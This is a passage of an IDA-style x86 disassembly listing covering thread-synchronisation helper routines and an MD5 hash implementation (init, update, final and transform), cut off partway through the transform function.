		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42E413
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_40200E
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_42E413
		mov	dword ptr [esi], 3


loc_42E413:				; CODE XREF: sub_42E350+9Ej
					; sub_42E350+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_40109B
		add	esp, 4
		test	edi, edi
		jnz	short loc_42E42F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E42F:				; CODE XREF: sub_42E350+D2j
		push	esi
		call	ds:dword_4B3AAC
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E350	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E490:				; CODE XREF: _294ADE7B:004010F0j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_42E535
		mov	esi, [edi]
		test	esi, esi
		jz	loc_42E535
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42E4F8
		cmp	dword ptr [esi], 3
		jnz	short loc_42E4DD
		lea	eax, [esi+4]
		push	eax
		call	sub_402090
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42E52F


loc_42E4C7:				; CODE XREF: _294ADE7B:0042E4EBj
		push	esi
		mov	dword ptr [edi], 0
		call	ds:dword_4B3AAC
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42E4DD:				; CODE XREF: _294ADE7B:0042E4B3j
		push	1
		push	0
		push	esi
		call	ds:dword_4B26F4
		cmp	eax, 1
		jz	short loc_42E4C7
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42E4F8:				; CODE XREF: _294ADE7B:0042E4AEj
		push	offset dword_4B27A0
		call	ds:dword_4B3868
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42E51F
		push	offset dword_4B27A0
		mov	dword ptr [edi], 0
		call	ds:dword_4B386C
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42E51F:				; CODE XREF: _294ADE7B:0042E506j
		push	offset dword_4B27A0
		mov	ebx, 10h
		call	ds:dword_4B386C


loc_42E52F:				; CODE XREF: _294ADE7B:0042E4C5j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42E535:				; CODE XREF: _294ADE7B:0042E49Bj
					; _294ADE7B:0042E4A5j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E570:				; CODE XREF: _294ADE7B:0040202Cj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42E5D1
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42E5D1
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42E591
		push	esi
		call	sub_4018B6
		add	esp, 4
		test	eax, eax
		jnz	short loc_42E5D6


loc_42E591:				; CODE XREF: _294ADE7B:0042E582j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	ds:dword_4B26F4
		cmp	eax, 2
		jnz	short loc_42E5B3


loc_42E5A3:				; CODE XREF: _294ADE7B:0042E5B1j
		push	1
		push	2
		push	esi
		call	ds:dword_4B26F4
		cmp	eax, 2
		jz	short loc_42E5A3


loc_42E5B3:				; CODE XREF: _294ADE7B:0042E5A1j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_42E5BE
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E5BE:				; CODE XREF: _294ADE7B:0042E5B8j
		cmp	eax, 3
		jnz	short loc_42E5D1
		add	esi, 4
		push	esi
		call	sub_40208B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E5D1:				; CODE XREF: _294ADE7B:0042E577j
					; _294ADE7B:0042E57Dj ...
		mov	eax, 16h


loc_42E5D6:				; CODE XREF: _294ADE7B:0042E58Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E600:				; CODE XREF: _294ADE7B:004019C4j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_42E641
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_42E641
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42E61B


loc_42E614:				; CODE XREF: _294ADE7B:0042E627j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E61B:				; CODE XREF: _294ADE7B:0042E612j
		push	2
		push	1
		push	esi
		call	ds:dword_4B26F4
		dec	eax
		jz	short loc_42E614
		dec	eax
		jz	short loc_42E63D
		dec	eax
		jnz	short loc_42E641
		add	esi, 4
		push	esi
		call	sub_4010AF
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E63D:				; CODE XREF: _294ADE7B:0042E62Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E641:				; CODE XREF: _294ADE7B:0042E607j
					; _294ADE7B:0042E60Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E670:				; CODE XREF: _294ADE7B:0040185Cj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42E6C0
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42E6C0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42E691
		push	esi
		call	sub_4018B6
		add	esp, 4
		test	eax, eax
		jnz	short loc_42E6C5


loc_42E691:				; CODE XREF: _294ADE7B:0042E682j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	ds:dword_4B26F4
		dec	eax
		jz	short loc_42E6BC
		dec	eax
		jz	short loc_42E6B5
		dec	eax
		jnz	short loc_42E6C0
		add	esi, 4
		push	esi
		call	sub_4016DB
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E6B5:				; CODE XREF: _294ADE7B:0042E6A2j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E6BC:				; CODE XREF: _294ADE7B:0042E69Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E6C0:				; CODE XREF: _294ADE7B:0042E677j
					; _294ADE7B:0042E67Dj ...
		mov	eax, 16h


loc_42E6C5:				; CODE XREF: _294ADE7B:0042E68Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E6F0:				; CODE XREF: _294ADE7B:00401217j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_4016B3
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E71C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_42E717
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E717:				; CODE XREF: _294ADE7B:0042E70Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_42E71C:				; CODE XREF: _294ADE7B:0042E702j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E730	proc near		; CODE XREF: sub_4016B8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_4016B3
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E7BC
		call	sub_4012AD
		test	eax, eax
		jnz	short loc_42E754
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E754:				; CODE XREF: sub_42E730+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_40196F
		add	esp, 8
		test	eax, eax
		jz	short loc_42E76D
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E76D:				; CODE XREF: sub_42E730+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_42E77D
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E77D:				; CODE XREF: sub_42E730+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_4015BE
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42E7B4
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_42E7A6
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		call	ds:dword_4B37FC
		test	eax, eax
		jz	short loc_42E7B4


loc_42E7A6:				; CODE XREF: sub_42E730+65j
		push	esi
		call	sub_4016F4
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E7B4:				; CODE XREF: sub_42E730+5Dj
					; sub_42E730+74j
		mov	edi, 3
		mov	eax, edi
		pop	edi


loc_42E7BC:				; CODE XREF: sub_42E730+12j
		pop	esi
		retn
sub_42E730	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E7F0	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_42E815
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E815:				; CODE XREF: sub_42E7F0+15j
		call	ds:dword_4B37F8
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_42E83E
		push	esi
		mov	edi, 0Bh
		call	ds:dword_4B3AAC
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E83E:				; CODE XREF: sub_42E7F0+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_42E85B
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E85B:				; CODE XREF: sub_42E7F0+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_42E7F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E890	proc near		; CODE XREF: sub_4019BFj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_42E920
		cmp	[ebx+0Ch], ebp
		jz	short loc_42E8FC
		cmp	[ebx+4], ebp
		jz	short loc_42E8FC
		lea	eax, [ebx+8]
		push	eax
		call	sub_40208B
		add	esp, 4
		test	eax, eax
		jnz	short loc_42E8FC
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_42E8EF
		push	edi


loc_42E8C3:				; CODE XREF: sub_42E890+5Cj
		push	esi
		call	sub_40208B
		add	esp, 4
		test	eax, eax
		jnz	short loc_42E8EA
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010AF
		push	esi
		call	sub_40105A
		add	esp, 8
		mov	esi, edi


loc_42E8EA:				; CODE XREF: sub_42E890+3Ej
		cmp	esi, ebp
		jnz	short loc_42E8C3
		pop	edi


loc_42E8EF:				; CODE XREF: sub_42E890+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010AF
		add	esp, 4
		pop	esi


loc_42E8FC:				; CODE XREF: sub_42E890+13j
					; sub_42E890+18j ...
		mov	eax, [ebx]
		push	eax
		call	ds:dword_4B37F4
		cmp	[ebx+4], ebp
		jz	short loc_42E916
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402090
		add	esp, 4


loc_42E916:				; CODE XREF: sub_42E890+78j
		push	ebx
		call	ds:dword_4B3AAC
		add	esp, 4


loc_42E920:				; CODE XREF: sub_42E890+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_42E890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E960	proc near		; CODE XREF: sub_401F5Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_4B26E0
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_42E984
		call	sub_4012AD
		test	eax, eax
		jnz	short loc_42E993
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42E984:				; CODE XREF: sub_42E960+11j
		push	eax
		call	sub_40116D
		add	esp, 4
		test	eax, eax
		jnz	short loc_42E993
		mov	eax, ebx


loc_42E993:				; CODE XREF: sub_42E960+1Aj
					; sub_42E960+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_42E9F5
		test	eax, eax
		jz	short loc_42E9E2
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_42E9E2
		test	ebx, ebx
		jz	short loc_42E9E2
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_42E9CD


loc_42E9B7:				; CODE XREF: sub_42E960+65j
		cmp	[ecx+8], esi
		jz	short loc_42E9C9
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_42E9B7
		jmp	short loc_42E9CD
; ---------------------------------------------------------------------------


loc_42E9C9:				; CODE XREF: sub_42E960+5Aj
		test	ecx, ecx
		jnz	short loc_42E9E2


loc_42E9CD:				; CODE XREF: sub_42E960+55j
					; sub_42E960+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401C99
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_42E9F5


loc_42E9E2:				; CODE XREF: sub_42E960+3Cj
					; sub_42E960+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		call	ds:dword_4B3814
		test	eax, eax
		jnz	short loc_42E9F5
		mov	edi, 0Bh


loc_42E9F5:				; CODE XREF: sub_42E960+38j
					; sub_42E960+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42E960	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA30	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_4B3898
		mov	esi, eax
		call	sub_430A5C
		mov	edi, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	ds:dword_4B37EC
		push	esi
		mov	ebx, eax
		call	ds:dword_4B37F0
		push	edi
		call	sub_430AB0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42EA30	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA80	proc near		; CODE XREF: sub_401974j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_42EA80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EAC0	proc near		; CODE XREF: sub_401B09j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_42EAEB
		inc	dword ptr [esi+14h]


loc_42EAEB:				; CODE XREF: sub_42EAC0+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_42EB49
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_42F8C0
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_42EC30
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_42EB45


loc_42EB29:				; CODE XREF: sub_42EAC0+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_42EC30
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_42EB29


loc_42EB45:				; CODE XREF: sub_42EAC0+67j
		xor	eax, eax
		jmp	short loc_42EB4B
; ---------------------------------------------------------------------------


loc_42EB49:				; CODE XREF: sub_42EAC0+41j
		xor	ebp, ebp


loc_42EB4B:				; CODE XREF: sub_42EAC0+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_42F8C0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42EAC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EBA0	proc near		; CODE XREF: sub_401FCDj

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_42F7E0
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_42EBD3
		mov	ecx, 78h


loc_42EBD3:				; CODE XREF: sub_42EBA0+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA_0	; "€"
		push	edi
		call	sub_401B09
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401B09
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_42F7E0
		push	58h
		push	0
		push	edi
		call	sub_42F8F0
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_42EBA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EC30	proc near		; CODE XREF: sub_42EAC0+58p
					; sub_42EAC0+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_42F850
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
